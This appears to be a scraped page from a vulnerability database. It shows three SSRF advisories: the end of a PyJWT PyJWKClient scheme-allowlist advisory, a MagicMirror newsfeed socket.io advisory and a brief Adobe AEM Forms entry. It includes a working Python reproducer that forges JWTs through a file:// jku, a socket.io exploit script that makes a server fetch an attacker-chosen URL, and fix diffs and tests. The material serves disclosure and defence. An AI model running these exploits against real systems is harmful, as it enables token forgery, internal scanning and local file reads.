This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

  • No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling
  • No existing GitHub issue or PR addressing scheme allowlisting
  • No silent fix in CHANGELOG through 2.12.1
  • 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

Severity
4.2 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.12.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PyJWT"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T19:28:41Z",
    "nvd_published_at": "2026-05-28T16:16:29Z",
    "severity": "MODERATE"
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "GHSA-993g-76c3-p5m4",
  "modified": "2026-07-31T22:13:14Z",
  "published": "2026-06-15T19:28:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8521"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes"
}

GHSA-998G-7V5W-CR7G

Vulnerability from github – Published: 2026-08-18 17:26 – Updated: 2026-08-18 17:26
VLAI
Summary
MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery
Details

Vulnerability — Blind SSRF via CHECK_ARTICLE_URL (MagicMirror² newsfeed)

Analysis of the PoC exploit-ssrf-newsfeed.js. Target: newsfeed/node_helper.js of MagicMirror², socket.io namespace /newsfeed.

Identification

Field Value
PoC file exploit-ssrf-newsfeed.js
Endpoint socket.io namespace /newsfeed, notification CHECK_ARTICLE_URL
Precondition reach the mirror's HTTP port (no authentication required)

Description

The checkArticleUrl() function in newsfeed/node_helper.js runs fetch(url, { method: "HEAD" }) with zero validation of the URL and returns ARTICLE_URL_STATUS { url, canFrame }.

This gives the attacker a boolean + timing oracle to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.

The actual proof is observed on the target side (the server-side HEAD shows up in the internal service's log), since the canFrame field alone leaks little.

Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from any origin and with no authentication:

const io = new Server(server, {
  cors: { origin: /.*$/, credentials: true }
});

The /newsfeed namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.

Exploit (exploit-ssrf-newsfeed.js)

const { io } = require("socket.io-client");
const TARGET = process.env.MM || "https://target/";
const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site";
const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => {
    if (event === "ARTICLE_URL_STATUS") {
        console.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);
        console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF).");
        process.exit(0);
    }
});
socket.on("connect", () => {
    console.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`);
    socket.emit("CHECK_ARTICLE_URL", { url: URL_TO_HIT });
});
setTimeout(() => { console.log("[*] timeout"); process.exit(1); }, 12000);

Vulnerable target code (pattern)

async checkArticleUrl(url) {
  const res = await fetch(url, { method: "HEAD" });
  const canFrame = !res.headers.get("x-frame-options")
                && !/frame-ancestors/i.test(res.headers.get("content-security-policy") || "");
  this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame });
}

Impact

  • Internal network scanning / port scanning: presence, absence, and response time reveal which internal hosts and ports are alive.
  • Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the mm-internal log referenced by the PoC).
  • Although it's HEAD (no body), it serves as a reconnaissance primitive and a trigger for side effects on endpoints that react to GET/HEAD.

References

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-306: Missing Authentication for Critical Function
  • CWE-942: Permissive Cross-domain Policy with Untrusted Domains
  • OWASP: SSRF Prevention Cheat Sheet

This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.

Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "magicmirror"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.37.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T17:26:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Vulnerability \u2014 Blind SSRF via `CHECK_ARTICLE_URL` (MagicMirror\u00b2 newsfeed)\n\n\u003e Analysis of the PoC `exploit-ssrf-newsfeed.js`.\n\u003e Target: `newsfeed/node_helper.js` of MagicMirror\u00b2, socket.io namespace `/newsfeed`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-newsfeed.js` |\n| **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` |\n| **Precondition** | reach the mirror\u0027s HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `checkArticleUrl()` function in `newsfeed/node_helper.js` runs `fetch(url, { method: \"HEAD\" })` with **zero validation** of the URL and returns `ARTICLE_URL_STATUS { url, canFrame }`.\n\nThis gives the attacker a **boolean + timing oracle** to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a \"blind-ish\" SSRF \u2014 the attacker doesn\u0027t see the body, but forces the server-side request and observes the effect on the target.\n\nThe actual proof is observed **on the target side** (the server-side HEAD shows up in the internal service\u0027s log), since the `canFrame` field alone leaks little.\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n  cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/newsfeed` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror\u0027s port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-newsfeed.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\nconst TARGET = process.env.MM || \"https://target/\";\nconst URL_TO_HIT = process.env.SSRF_URL || \"https://webhook.site\";\nconst socket = io(`${TARGET}/newsfeed`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) =\u003e {\n\tif (event === \"ARTICLE_URL_STATUS\") {\n\t\tconsole.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);\n\t\tconsole.log(\"[!!!] Server performed a server-side HEAD request to the internal host (SSRF).\");\n\t\tprocess.exit(0);\n\t}\n});\nsocket.on(\"connect\", () =\u003e {\n\tconsole.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -\u003e ${URL_TO_HIT}`);\n\tsocket.emit(\"CHECK_ARTICLE_URL\", { url: URL_TO_HIT });\n});\nsetTimeout(() =\u003e { console.log(\"[*] timeout\"); process.exit(1); }, 12000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nasync checkArticleUrl(url) {\n  const res = await fetch(url, { method: \"HEAD\" });\n  const canFrame = !res.headers.get(\"x-frame-options\")\n                \u0026\u0026 !/frame-ancestors/i.test(res.headers.get(\"content-security-policy\") || \"\");\n  this.sendSocketNotification(\"ARTICLE_URL_STATUS\", { url, canFrame });\n}\n```\n\n---\n\n## Impact\n\n- **Internal network scanning / port scanning**: presence, absence, and response time reveal which internal hosts and ports are alive.\n- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the `mm-internal` log referenced by the PoC).\n- Although it\u0027s HEAD (no body), it serves as a **reconnaissance primitive** and a trigger for side effects on endpoints that react to GET/HEAD.\n\n---\n\n\n\n### References\n- CWE-918: Server-Side Request Forgery (SSRF)\n- CWE-306: Missing Authentication for Critical Function\n- CWE-942: Permissive Cross-domain Policy with Untrusted Domains\n- OWASP: SSRF Prevention Cheat Sheet\n\n\u003e This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.",
  "id": "GHSA-998g-7v5w-cr7g",
  "modified": "2026-08-18T17:26:46Z",
  "published": "2026-08-18T17:26:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-998g-7v5w-cr7g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery"
}

GHSA-99HR-PVHP-JHHQ

Vulnerability from github – Published: 2026-09-22 21:31 – Updated: 2026-09-22 21:31
VLAI
Details

Adobe Experience Manager Forms JEE is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. An attacker with high privileges could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.

Severity
8.7 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-81999"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-22T19:16:53Z",
    "severity": "HIGH"
  },
  "details": "Adobe Experience Manager Forms JEE is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. An attacker with high privileges could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.",
  "id": "GHSA-99hr-pvhp-jhhq",
  "modified": "2026-09-22T21:31:26Z",
  "published": "2026-09-22T21:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81999"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/aem-forms/apsb26-151.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list